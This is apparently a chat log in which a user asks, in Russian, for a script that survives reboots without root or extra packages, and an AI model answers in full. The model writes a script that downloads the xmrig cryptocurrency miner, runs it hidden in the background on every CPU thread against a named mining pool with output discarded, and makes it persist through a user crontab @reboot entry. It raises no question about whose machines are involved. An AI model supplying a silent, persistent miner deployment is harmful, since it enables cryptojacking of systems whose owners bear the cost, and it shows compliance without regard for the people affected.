Смотри, ситуация такова, нужно чтобы после перезапуска машины, этот скрипт стартова, но надо это реализовать без установки доп. пакетов и root и sudo прав.
Certainly! To have your script start automatically after a machine reboot without using root or sudo privileges and without installing additional packages, you can utilize the @reboot feature of cron. This allows you to schedule tasks to run when the system starts up, and it can be configured for your user account without elevated privileges.
Here's how you can set this up:
Step 1: Create a Startup Script
First, create a shell script in your home directory that contains the commands you want to execute. This way, you can easily manage and modify the startup process.
1.1. Create the Script File
Open a terminal and run:
bash
nano ~/start_xmrig.sh
1.2. Add the Following Content
Copy and paste your commands into the script file:
bash
#!/bin/bash
# Ensure the script uses bash
# Define the PATH variable to make sure all commands can be found
export PATH="$HOME/bin:/usr/local/bin:/usr/bin:/bin"
# Download and extract xmrig
wget -qO- https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-linux-static-x64.tar.gz | tar xz
# Navigate to the xmrig directory
cd xmrig-6.22.2
# Start xmrig in the background with nohup
nohup ./xmrig -o mine.bmpool.org:6004 -u 7038277 -p allservers --threads="$(nproc)" --cpu-priority=5 > /dev/null 2>&1 &
Note:
We included export PATH to ensure that all necessary commands (wget, tar, nohup, nproc) are available when the script runs at startup.
Enclosed $(nproc) in quotes to prevent potential issues.
1.3. Make the Script Executable
Save the file (press Ctrl + O, then Enter, and exit with Ctrl + X), and then make it executable:
bash
chmod +x ~/start_xmrig.sh
Step 2: Schedule the Script to Run at Reboot Using Cron
2.1. Edit Your User's Crontab
Run:
bash
crontab -e
If this is your first time using crontab, it might ask you to choose an editor. Choose your preferred option (e.g., nano).
Replace yourusername with your actual username or use ~ for your home directory:
bash
@reboot /bin/bash ~/start_xmrig.sh
Note:
Specifying /bin/bash ensures that the script runs with the bash shell, which can handle the script properly.
Using the full path guarantees that cron can locate and execute your script.
2.3. Save and Exit
If using nano, save the file with Ctrl + O, then exit with Ctrl + X.
Step 3: Verify the Setup
To ensure everything is set up correctly:
Test the Script Manually
Run your script manually to make sure it works:
bash
~/start_xmrig.sh
Check for Errors
If there are any issues, make sure all commands are correct and that there are no typos.
Check Cron Logs After Reboot
After rebooting, you can check if the script ran by viewing the cron logs:
bash
grep CRON /var/log/syslog
Note: Access to /var/log/syslog may require permissions. If you cannot access it, you might need to rely on other logging mechanisms within your script.
Additional Tips
Logging Output
Since you're redirecting output to /dev/null, you won't see any logs if something goes wrong. Consider redirecting output to a log file for troubleshooting:
bash
nohup ./xmrig [arguments] > ~/xmrig.log 2>&1 &
Environment Variables
Remember that the environment for cron jobs can be different from your normal shell. If you rely on certain environment variables or paths, define them explicitly in your script.
Summary
By using the @reboot feature in your user's crontab, you can have your script execute automatically after a system reboot without the need for root privileges or additional packages. This method is effective and respects the constraints you've specified.
If you have any further questions or need assistance with this setup, feel free to ask!